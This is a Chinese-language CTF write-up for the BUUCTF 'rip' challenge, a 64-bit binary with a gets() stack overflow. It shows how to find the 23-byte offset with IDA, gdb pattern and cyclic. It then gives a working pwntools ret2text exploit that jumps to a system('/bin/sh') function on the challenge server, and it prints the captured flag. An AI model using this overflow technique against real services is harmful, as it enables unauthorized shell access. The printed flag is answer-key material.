参考链接:
(buuctf) - pwn入门部分wp - rip – pwn1_sctf_2016 - J1ay - 博客园 (cnblogs.com)
buuctf rip 详细wp - refrain-again - 博客园 (cnblogs.com)
0x01解题过程
下载题目得到 pwn1,利用 file 命令查看
$ file pwn1
通过file命令,我们得以辨识该文件的类型。
可以发现,这是一个64位的文件,应该将pwn1用64位的IDA打开
1byte=8bit,可得64位是8个字节,同理32位就是4个字节。
然后我们可以通过checksec ./filename查看保护机制
$ checksec ./pwn1
查看当前二进制文件的指令架构以及采取了哪些保护机制。
可知该题任何保护都没有打开,所以我们可以实现最简单的栈溢出
将PWN1文件放入IDA中查看。View-Open subviews-Strings打开字符串窗口
发现 system和**/bin/sh**(存在漏洞)
打开main函数,F5反编译
gets函数
gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到\n 结束,则会无限读取,没有上限。
得偏移量的方法①:
由char s[15];可得,在main函数的栈帧中,划分了一个15字节的存储空间,s在上图的Local variables中,由**[rbp-Fh]**可得和rbp的距离为15字节
该程序是64位,则Caller’s rbp有8字节
偏移量15+8
得偏移量的方法②:
回到main函数的图形化界面
双击s
偏移量为:15 + 8 = 23 (64位+8;32位+4)
得偏移量的方法③:
可以通过 pattern来计算偏移量
对pwn1进行gdb调试
$ gdb pwn1
生成溢出字符,需保证其长度能覆盖至RIP
$ pattern create 200
执行 r 或者 start 命令让程序运行。
注意:start 命令执行后,还需执行 contin 命令
在 please input 后,将之前生成的溢出字符串粘贴上去。
注意:不要加‘’
找到RBP的字符串
$ pattern offset nAACAA-A
这里计算出的偏移量。不需要考虑堆栈平衡。构造playload时,直接与系统调用地址相加就可。(64位+8;32位+4)
或者:
找到 stack 复制栈顶的字符串 (复制全部或者复制前4个字节),得出偏移地址
$ pattern offset A(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
or
$ pattern offset AA(A
得偏移量的方法④:
可以通过 cyclic来计算偏移量
生成200个有序字符
$ cyclic 200
gdb调试
$ gdb pwn1
找到RBP的地址,cyclic -l 地址 计算偏移量
$ cyclic -l 0x6161666161616561
这里计算出的偏移量。不需要考虑堆栈平衡。构造playload时,直接与系统调用地址相加就可。(64位+8;32位+4)
或者:
找到 stack 复制栈顶的字符串 (复制全部或者复制前4个字节),得出偏移地址
$ cyclic -l agga
or
$ cyclic -l agaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
打开fun函数,F5反编译
回到图形化界面
双击rbp
得到地址:0x401186
0x02编写exp
exp编写步骤:
from pwn import *#引入pwn库
p = remote(ip, port) #输入对应的ip地址和端口号来连接其他主机的服务
payload=…+… #输入payload来进行操作以拿到程序的shell
#payload一般为偏移量+地址
p.sendline(payload) #用sendline()将payload向程序输入,程序接收payload对某些变量赋值。
p.interactive() #反弹shell
from pwn import *
p = remote('node4.buuoj.cn', 25990)
payload = b'a' * 23 + p64(0x401186 + 1)
p.sendline(payload)
p.interactive()
①上述 payload中 'a'
可以替换成任意字母。
②字符串中的’b’字符前缀使变量成为字节类型。
参考链接:[Python中的字符串文字前的’b’字符做什么?_cumt30111的博客-CSDN博客]
为了防止python3运行时出现以下错误。 // python2无事。
TypeError: can only concatenate str (not "bytes") to str
③+1 是为了保证堆栈平衡(不加一在本地可以打通,但是却打不通远程)
打开终端,输入vim 1.py 创建一个python文件(命名随意)
$ vim 1.py
将exp文件输入进1.py中,Esc+:wq保存并退出1.py
夺flag
运行代码
$ python3 1.py
$ ls
$ cat flag
将得到的flag复制到题目的flag框中:
flag{7873e85b-15fe-4fd0-92d8-d6b15acfe027}